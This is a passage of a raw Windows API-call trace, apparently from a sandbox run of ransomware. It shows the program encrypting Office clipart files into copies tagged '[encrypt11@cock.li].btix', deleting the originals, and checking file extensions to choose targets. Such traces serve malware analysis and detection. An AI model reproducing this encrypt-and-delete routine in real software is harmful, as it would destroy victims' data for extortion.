nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.875] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.876] SetEndOfFile (hFile=0x2e0) returned 1 [0070.876] CloseHandle (hObject=0x2e0) returned 1 [0070.876] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.876] SetEndOfFile (hFile=0x3a4) returned 1 [0070.877] CloseHandle (hObject=0x3a4) returned 1 [0070.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0070.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0070.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0070.877] lstrlenW (lpString=".doc") returned 4 [0070.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.877] lstrlenW (lpString=".docx") returned 5 [0070.877] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.877] lstrlenW (lpString=".pdf") returned 4 [0070.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.877] lstrlenW (lpString=".xls") returned 4 [0070.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.877] lstrlenW (lpString=".xlsx") returned 5 [0070.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.877] lstrlenW (lpString=".ppt") returned 4 [0070.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0070.877] lstrlenW (lpString=".zip") returned 4 [0070.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.877] lstrlenW (lpString=".rar") returned 4 [0070.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.878] lstrlenW (lpString=".bz2") returned 4 [0070.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.878] lstrlenW (lpString=".7z") returned 3 [0070.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0070.878] lstrlenW (lpString=".dbf") returned 4 [0070.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0070.878] lstrlenW (lpString=".1cd") returned 4 [0070.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0070.878] lstrlenW (lpString=".jpg") returned 4 [0070.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.878] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.878] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0070.878] GetLastError () returned 0x0 [0070.878] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x2a40, lpOverlapped=0x0) returned 1 [0070.923] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x2a50, lpOverlapped=0x0) returned 1 [0070.924] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.924] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.924] SetEndOfFile (hFile=0x2e0) returned 1 [0070.952] CloseHandle (hObject=0x2e0) returned 1 [0071.001] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.001] SetEndOfFile (hFile=0x3a4) returned 1 [0071.011] CloseHandle (hObject=0x3a4) returned 1 [0071.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0071.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0071.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0071.012] lstrlenW (lpString=".doc") returned 4 [0071.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.012] lstrlenW (lpString=".docx") returned 5 [0071.012] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.012] lstrlenW (lpString=".pdf") returned 4 [0071.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.012] lstrlenW (lpString=".xls") returned 4 [0071.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.012] lstrlenW (lpString=".xlsx") returned 5 [0071.012] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.012] lstrlenW (lpString=".ppt") returned 4 [0071.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0071.012] lstrlenW (lpString=".zip") returned 4 [0071.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.012] lstrlenW (lpString=".rar") returned 4 [0071.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.012] lstrlenW (lpString=".bz2") returned 4 [0071.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.012] lstrlenW (lpString=".7z") returned 3 [0071.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0071.012] lstrlenW (lpString=".dbf") returned 4 [0071.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0071.012] lstrlenW (lpString=".1cd") returned 4 [0071.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0071.013] lstrlenW (lpString=".jpg") returned 4 [0071.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.014] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.014] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0071.016] GetLastError () returned 0x0 [0071.016] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x83c, lpOverlapped=0x0) returned 1 [0071.143] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x840, lpOverlapped=0x0) returned 1 [0071.270] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.270] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.270] SetEndOfFile (hFile=0x2e0) returned 1 [0071.278] CloseHandle (hObject=0x2e0) returned 1 [0071.279] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.279] SetEndOfFile (hFile=0x3a4) returned 1 [0071.283] CloseHandle (hObject=0x3a4) returned 1 [0071.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0071.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0071.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0071.284] lstrlenW (lpString=".doc") returned 4 [0071.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.284] lstrlenW (lpString=".docx") returned 5 [0071.284] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.284] lstrlenW (lpString=".pdf") returned 4 [0071.284] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.284] lstrlenW (lpString=".xls") returned 4 [0071.284] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.284] lstrlenW (lpString=".xlsx") returned 5 [0071.284] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.284] lstrlenW (lpString=".ppt") returned 4 [0071.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0071.285] lstrlenW (lpString=".zip") returned 4 [0071.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.285] lstrlenW (lpString=".rar") returned 4 [0071.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.285] lstrlenW (lpString=".bz2") returned 4 [0071.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.285] lstrlenW (lpString=".7z") returned 3 [0071.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0071.285] lstrlenW (lpString=".dbf") returned 4 [0071.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0071.285] lstrlenW (lpString=".1cd") returned 4 [0071.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0071.285] lstrlenW (lpString=".jpg") returned 4 [0071.285] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.287] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.287] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0071.289] GetLastError () returned 0x0 [0071.289] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x5c0, lpOverlapped=0x0) returned 1 [0071.293] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x5d0, lpOverlapped=0x0) returned 1 [0071.294] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.294] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.294] SetEndOfFile (hFile=0x388) returned 1 [0071.299] CloseHandle (hObject=0x388) returned 1 [0071.303] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.303] SetEndOfFile (hFile=0x344) returned 1 [0071.308] CloseHandle (hObject=0x344) returned 1 [0071.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0071.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0071.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0071.309] lstrlenW (lpString=".doc") returned 4 [0071.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.309] lstrlenW (lpString=".docx") returned 5 [0071.309] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.309] lstrlenW (lpString=".pdf") returned 4 [0071.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.309] lstrlenW (lpString=".xls") returned 4 [0071.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.309] lstrlenW (lpString=".xlsx") returned 5 [0071.309] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.309] lstrlenW (lpString=".ppt") returned 4 [0071.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0071.309] lstrlenW (lpString=".zip") returned 4 [0071.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.310] lstrlenW (lpString=".rar") returned 4 [0071.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.310] lstrlenW (lpString=".bz2") returned 4 [0071.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.310] lstrlenW (lpString=".7z") returned 3 [0071.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0071.310] lstrlenW (lpString=".dbf") returned 4 [0071.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0071.310] lstrlenW (lpString=".1cd") returned 4 [0071.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0071.310] lstrlenW (lpString=".jpg") returned 4 [0071.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.313] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.313] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0071.322] GetLastError () returned 0x0 [0071.322] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x2b90, lpOverlapped=0x0) returned 1 [0071.323] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0071.324] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.324] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.325] SetEndOfFile (hFile=0x388) returned 1 [0071.325] CloseHandle (hObject=0x388) returned 1 [0071.325] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.325] SetEndOfFile (hFile=0x2d8) returned 1 [0071.326] CloseHandle (hObject=0x2d8) returned 1 [0071.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.326] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0071.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0071.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0071.326] lstrlenW (lpString=".doc") returned 4 [0071.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.326] lstrlenW (lpString=".docx") returned 5 [0071.326] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.326] lstrlenW (lpString=".pdf") returned 4 [0071.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.326] lstrlenW (lpString=".xls") returned 4 [0071.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.326] lstrlenW (lpString=".xlsx") returned 5 [0071.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.326] lstrlenW (lpString=".ppt") returned 4 [0071.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0071.327] lstrlenW (lpString=".zip") returned 4 [0071.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.327] lstrlenW (lpString=".rar") returned 4 [0071.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.327] lstrlenW (lpString=".bz2") returned 4 [0071.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.327] lstrlenW (lpString=".7z") returned 3 [0071.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0071.327] lstrlenW (lpString=".dbf") returned 4 [0071.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0071.327] lstrlenW (lpString=".1cd") returned 4 [0071.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0071.327] lstrlenW (lpString=".jpg") returned 4 [0071.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.328] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.328] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0071.329] GetLastError () returned 0x0 [0071.329] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0xa6d0, lpOverlapped=0x0) returned 1 [0071.468] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xa6e0, lpOverlapped=0x0) returned 1 [0071.470] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.470] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.470] SetEndOfFile (hFile=0x388) returned 1 [0071.470] CloseHandle (hObject=0x388) returned 1 [0071.470] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.470] SetEndOfFile (hFile=0x2d8) returned 1 [0071.481] CloseHandle (hObject=0x2d8) returned 1 [0071.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0071.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0071.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0071.481] lstrlenW (lpString=".doc") returned 4 [0071.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.481] lstrlenW (lpString=".docx") returned 5 [0071.481] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.481] lstrlenW (lpString=".pdf") returned 4 [0071.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.482] lstrlenW (lpString=".xls") returned 4 [0071.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.482] lstrlenW (lpString=".xlsx") returned 5 [0071.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned 